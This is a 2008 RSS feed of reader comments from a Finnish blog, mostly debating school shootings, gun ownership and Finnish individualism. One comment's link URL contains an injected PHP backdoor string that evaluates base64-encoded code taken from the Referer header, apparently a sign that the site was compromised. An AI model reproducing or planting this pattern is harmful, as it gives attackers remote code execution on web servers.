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	<title>Blogin Emilia Olkanen kommentit</title>
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		<title>Tuure Toivikko on kommentoinut artikkelia It is time to start a broader discussion.</title>
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		<dc:creator>Tuure Toivikko</dc:creator>
		<pubDate>Tue, 04 Nov 2008 14:54:43 +0000</pubDate>
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		<description>Solution,which could stop school shootings:
I suggest this solution. It could stop school shootings.
Every school should start every school day by stating to pupils that it is not OK to harm,kill or harass anyone.
You may think everyone knows this but after last 2 school shootings I started to think about this,and I understood that actually children are told to harm,be violent or even kill others , many times- instead of telling them to love each others or instead of telling them never to harm anyone.
How this happens? Well, watch modern TV-series,computer games or movies. They lack totally human aspect and many times they really admire violence or even killing enemies.
If about 6- to 10-years-old child has received this kind of propaganda into his mind almost every day, and no one has ever explained f.ex.good christian morals to this child; what can we expect?
I also suggest that every school should explain christian morals and read Gospel to their pupils every day.
This could stop all violence on the earth- and it could have stopped school shootings?

-Tuure Toivikko</description>
		<content:encoded><![CDATA[<p>Solution,which could stop school shootings:<br />
I suggest this solution. It could stop school shootings.<br />
Every school should start every school day by stating to pupils that it is not OK to harm,kill or harass anyone.<br />
You may think everyone knows this but after last 2 school shootings I started to think about this,and I understood that actually children are told to harm,be violent or even kill others , many times- instead of telling them to love each others or instead of telling them never to harm anyone.<br />
How this happens? Well, watch modern TV-series,computer games or movies. They lack totally human aspect and many times they really admire violence or even killing enemies.<br />
If about 6- to 10-years-old child has received this kind of propaganda into his mind almost every day, and no one has ever explained f.ex.good christian morals to this child; what can we expect?<br />
I also suggest that every school should explain christian morals and read Gospel to their pupils every day.<br />
This could stop all violence on the earth- and it could have stopped school shootings?</p>
<p>-Tuure Toivikko</p>
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		<title>Veikko on kommentoinut artikkelia Thank you everyone!</title>
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		<dc:creator>Veikko</dc:creator>
		<pubDate>Mon, 27 Oct 2008 08:25:46 +0000</pubDate>
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		<description>Onnittelut Emppuseni! Oi jospa oisin saanut olla mukana... Mutta ehkäpä parempi näin, niin ei koko Vihreiden lauma ole kohta syysflunssassa.</description>
		<content:encoded><![CDATA[<p>Onnittelut Emppuseni! Oi jospa oisin saanut olla mukana&#8230; Mutta ehkäpä parempi näin, niin ei koko Vihreiden lauma ole kohta syysflunssassa.</p>
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		<title>Mikko Helin on kommentoinut artikkelia Thank you everyone!</title>
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		<dc:creator>Mikko Helin</dc:creator>
		<pubDate>Mon, 27 Oct 2008 06:37:47 +0000</pubDate>
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		<description>Onneksi olkoon! 
Pidän sua sitten silmällä;)</description>
		<content:encoded><![CDATA[<p>Onneksi olkoon!<br />
Pidän sua sitten silmällä;)</p>
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		<title>Somebody on kommentoinut artikkelia Nuorille valtaa!</title>
		<link>http://www.olkanen.net/2008/10/12/nuorille-valtaa/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-11</link>
		<dc:creator>Somebody</dc:creator>
		<pubDate>Sat, 25 Oct 2008 18:06:07 +0000</pubDate>
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		<description>Kyllä valtuustoon olisi hyvä saada nuorennusleikkaus - uusia kasvoja ja näkökulmia kehiin! Veikkaanpa että keski-ikäisestkin, sekä miehet että naiset, voisivat innostua äänestämään itseään nuorempia ehdokkaita.</description>
		<content:encoded><![CDATA[<p>Kyllä valtuustoon olisi hyvä saada nuorennusleikkaus - uusia kasvoja ja näkökulmia kehiin! Veikkaanpa että keski-ikäisestkin, sekä miehet että naiset, voisivat innostua äänestämään itseään nuorempia ehdokkaita.</p>
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		<title>admin on kommentoinut artikkelia It is time to start a broader discussion.</title>
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		<dc:creator>admin</dc:creator>
		<pubDate>Mon, 20 Oct 2008 17:50:50 +0000</pubDate>
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		<description>It is very interesting to hear comments from non-Finns. Benjamin is right about the non-existing discussion culture here in Finland, and the high trust in authorities. I only hope that bit by bit we all learn to take more responsability of ourselves and the others.</description>
		<content:encoded><![CDATA[<p>It is very interesting to hear comments from non-Finns. Benjamin is right about the non-existing discussion culture here in Finland, and the high trust in authorities. I only hope that bit by bit we all learn to take more responsability of ourselves and the others.</p>
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		<title>Benkku on kommentoinut artikkelia It is time to start a broader discussion.</title>
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		<dc:creator>Benkku</dc:creator>
		<pubDate>Mon, 20 Oct 2008 17:31:03 +0000</pubDate>
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		<description>Every fourth human in Finland owns a weapon - including babies and youngsters. Finland is the 3rd country in the world, when it comes to the amount of weapons in one household - after the USA and the Jemen (!). I really ask myself, why this is necessary in such a peaceful country with so low criminality. 

That is one point. The other point has been discussed already quite much: I think, Finland is a country of individualists. I noticed that there is much pressure, to find an idendity - I believe, Finns tend to think quite much about "where was I coming from, what am I, where am I going.". This also yields to a higher pressure to perform.

On the other side, people who don't get along with the pace are often left alone. It might be true, that strangers and 	lateral thinkers are welcomed in this society quite much, since a individualistic society gives them their freedom and supports quite much tolerance. But is it just tolerance or already ignorance?

I often noticed, that people in Finland simply don't care about other's oppinion, thoughts or problems. Or if they care, they don't really know how to deal with them. My impression is, that people find it much easier, if they can avoid conflicts or problems, especially of others. I also noticed, that there is less discussion culture in Finland (while I am still in the opinion that Germans on the other side are complaining to much about everything).

But with less discussion culture comes less search for compromises. I call it the "black side of sisu" - If two people have different opinions, they mostly either don't discuss at all, or the one with the most "sisu" wins.

That way, also the laws and regulations of the superior are accepted willingly. All the political system assumes that the "small man" doesn't need to think: you can't buy alcohol after 20:00. You will not find to much colesterine in supermarket products. etc. The state cares about you and almost takes over you the need to think. - Why then thinking about buying weapons?

I think, people sometimes use to less common sense. They make to less effort to find out the "reasons" of rules or to put themselves into others position. An alcoholic? - He can use the public addict care system! An unemployed? - He will benefit from the unemployment money!

In Germany, we sometimes had discussions about so-called "flatrate parties", where you pay a certain amount of money and you were allowed to drink as much as you can. There was a discussion to forbid them, because youngsters drank themselves to death there. I am sure, there are also many death cases in Finland because of similar excesses, but the media just turned a deaf ear.

It is just to much socially accepted to be unsocial! Finnlad has a very black, cynical humour. Ignorance often even goes so far, that jokes about people with social problems are made instead of seriously coping with that problems.

Furthermore, some problems of the tragedy are of a more global nature and can be found everywhere. In computer games and "Virtual Reality", we are always trying to come as close to the reality as possible. Then the news reports in the media: although presented more and more real, who can say, that (s)he can understand the full extent of tragedies, wars, catastrophes etc., which are reported, often in just some sentences, paired with actually horrifying images? How should you then find a clear border to the third layer, which is the ultimate reality, your surrounding?

The question now is: Should there really be a new regulation, which e.g. forbids violent computer games? - No, not another mechanism which takes over the thinking of people. People finally should start thinking themselves!</description>
		<content:encoded><![CDATA[<p>Every fourth human in Finland owns a weapon - including babies and youngsters. Finland is the 3rd country in the world, when it comes to the amount of weapons in one household - after the USA and the Jemen (!). I really ask myself, why this is necessary in such a peaceful country with so low criminality. </p>
<p>That is one point. The other point has been discussed already quite much: I think, Finland is a country of individualists. I noticed that there is much pressure, to find an idendity - I believe, Finns tend to think quite much about &#8220;where was I coming from, what am I, where am I going.&#8221;. This also yields to a higher pressure to perform.</p>
<p>On the other side, people who don&#8217;t get along with the pace are often left alone. It might be true, that strangers and 	lateral thinkers are welcomed in this society quite much, since a individualistic society gives them their freedom and supports quite much tolerance. But is it just tolerance or already ignorance?</p>
<p>I often noticed, that people in Finland simply don&#8217;t care about other&#8217;s oppinion, thoughts or problems. Or if they care, they don&#8217;t really know how to deal with them. My impression is, that people find it much easier, if they can avoid conflicts or problems, especially of others. I also noticed, that there is less discussion culture in Finland (while I am still in the opinion that Germans on the other side are complaining to much about everything).</p>
<p>But with less discussion culture comes less search for compromises. I call it the &#8220;black side of sisu&#8221; - If two people have different opinions, they mostly either don&#8217;t discuss at all, or the one with the most &#8220;sisu&#8221; wins.</p>
<p>That way, also the laws and regulations of the superior are accepted willingly. All the political system assumes that the &#8220;small man&#8221; doesn&#8217;t need to think: you can&#8217;t buy alcohol after 20:00. You will not find to much colesterine in supermarket products. etc. The state cares about you and almost takes over you the need to think. - Why then thinking about buying weapons?</p>
<p>I think, people sometimes use to less common sense. They make to less effort to find out the &#8220;reasons&#8221; of rules or to put themselves into others position. An alcoholic? - He can use the public addict care system! An unemployed? - He will benefit from the unemployment money!</p>
<p>In Germany, we sometimes had discussions about so-called &#8220;flatrate parties&#8221;, where you pay a certain amount of money and you were allowed to drink as much as you can. There was a discussion to forbid them, because youngsters drank themselves to death there. I am sure, there are also many death cases in Finland because of similar excesses, but the media just turned a deaf ear.</p>
<p>It is just to much socially accepted to be unsocial! Finnlad has a very black, cynical humour. Ignorance often even goes so far, that jokes about people with social problems are made instead of seriously coping with that problems.</p>
<p>Furthermore, some problems of the tragedy are of a more global nature and can be found everywhere. In computer games and &#8220;Virtual Reality&#8221;, we are always trying to come as close to the reality as possible. Then the news reports in the media: although presented more and more real, who can say, that (s)he can understand the full extent of tragedies, wars, catastrophes etc., which are reported, often in just some sentences, paired with actually horrifying images? How should you then find a clear border to the third layer, which is the ultimate reality, your surrounding?</p>
<p>The question now is: Should there really be a new regulation, which e.g. forbids violent computer games? - No, not another mechanism which takes over the thinking of people. People finally should start thinking themselves!</p>
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		<title>admin on kommentoinut artikkelia It is time to start a broader discussion.</title>
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		<dc:creator>admin</dc:creator>
		<pubDate>Mon, 06 Oct 2008 11:55:53 +0000</pubDate>
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		<description>Murat is right, it really is illogical.

There have been quite many articles about individualism lately, in Finland it might really have gone too far. Some say close societies restrict the individuals and force them to be similar and are therefore bad. Some have written articles about "city villages" such as in Annikinkatu block in Tampere - optional ways for more social living inside a town. I am glad that the subject is still discussed in the media despite the other crisis.</description>
		<content:encoded><![CDATA[<p>Murat is right, it really is illogical.</p>
<p>There have been quite many articles about individualism lately, in Finland it might really have gone too far. Some say close societies restrict the individuals and force them to be similar and are therefore bad. Some have written articles about &#8220;city villages&#8221; such as in Annikinkatu block in Tampere - optional ways for more social living inside a town. I am glad that the subject is still discussed in the media despite the other crisis.</p>
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		<title>Murat Birinci on kommentoinut artikkelia It is time to start a broader discussion.</title>
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		<dc:creator>Murat Birinci</dc:creator>
		<pubDate>Mon, 06 Oct 2008 11:32:42 +0000</pubDate>
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		<description>Isn't it interesting/weird/stupid that a 15 year old person is not allowed to buy cigarettes, is not allowed to buy alcohol, but allowed to buy a gun!
Prohibition is never a solution but this just seemed an illogical fact...</description>
		<content:encoded><![CDATA[<p>Isn&#8217;t it interesting/weird/stupid that a 15 year old person is not allowed to buy cigarettes, is not allowed to buy alcohol, but allowed to buy a gun!<br />
Prohibition is never a solution but this just seemed an illogical fact&#8230;</p>
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		<title>Somebody on kommentoinut artikkelia It is time to start a broader discussion.</title>
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		<dc:creator>Somebody</dc:creator>
		<pubDate>Tue, 30 Sep 2008 18:59:59 +0000</pubDate>
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		<description>Have also thought about that individualism - what is it really? Of course, we are different and we are allowed to be such. Unfortunately,  individualism is often given as a synonym of complete irresponsibility for other people. Is it ok, that we Finns are proud of "looking cool". too often without civilized behaviour at school, at work.</description>
		<content:encoded><![CDATA[<p>Have also thought about that individualism - what is it really? Of course, we are different and we are allowed to be such. Unfortunately,  individualism is often given as a synonym of complete irresponsibility for other people. Is it ok, that we Finns are proud of &#8220;looking cool&#8221;. too often without civilized behaviour at school, at work.</p>
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		<title>Ali Muhammad on kommentoinut artikkelia It is time to start a broader discussion.</title>
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		<dc:creator>Ali Muhammad</dc:creator>
		<pubDate>Tue, 30 Sep 2008 07:34:18 +0000</pubDate>
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		<description>You have said exactly what I think. After Jokela I repeatedly said that it is the beginning, we cant just put it aside and forget. The unrest in the young generation caused by unavailable attention, guidence and need to self identify is so obvious and then you give them guns? It is scary to say and I wish that I am wrong but Kauhjoki may not be the last incident.

May be the video games, moveis and other media have played their parts, as teenagers seems to think, its funny or cool to kill. In last years even on Finnish television, the amount of violence, brutuality, and blood has increased few folds. Changing the laws and taking the guns away should be the frist and immediate action but it is unfortunate that many think it is last action needed. There is a lot more needed to be done. The cancer is much deeper. Since Jokela incident, there have been more than 100 threats to teachers or students in different schools. And you say Finland is sad? May be not all of it, as after Kauhajoki there have been a new series of threats by students in many schools.

I agree with the fact that healt facilities especially mental care services are very poor in Finland and needs improvement. But if we start to blame government for it, we again lead back to individualistic society where you only look to the state for help. And this indivilusitic society is may be the major source of problems. I don’t know a culture and a country where sick (mentally or physically) and unstable people does not live. But in Finland they are left alone. We need to bring people closer and more dependent on each other. I am not a conservative (as it is a very bad thing to be :o) but I think closer family ties are very important, as from there you learn the very first of your social behaviour.</description>
		<content:encoded><![CDATA[<p>You have said exactly what I think. After Jokela I repeatedly said that it is the beginning, we cant just put it aside and forget. The unrest in the young generation caused by unavailable attention, guidence and need to self identify is so obvious and then you give them guns? It is scary to say and I wish that I am wrong but Kauhjoki may not be the last incident.</p>
<p>May be the video games, moveis and other media have played their parts, as teenagers seems to think, its funny or cool to kill. In last years even on Finnish television, the amount of violence, brutuality, and blood has increased few folds. Changing the laws and taking the guns away should be the frist and immediate action but it is unfortunate that many think it is last action needed. There is a lot more needed to be done. The cancer is much deeper. Since Jokela incident, there have been more than 100 threats to teachers or students in different schools. And you say Finland is sad? May be not all of it, as after Kauhajoki there have been a new series of threats by students in many schools.</p>
<p>I agree with the fact that healt facilities especially mental care services are very poor in Finland and needs improvement. But if we start to blame government for it, we again lead back to individualistic society where you only look to the state for help. And this indivilusitic society is may be the major source of problems. I don’t know a culture and a country where sick (mentally or physically) and unstable people does not live. But in Finland they are left alone. We need to bring people closer and more dependent on each other. I am not a conservative (as it is a very bad thing to be :o) but I think closer family ties are very important, as from there you learn the very first of your social behaviour.</p>
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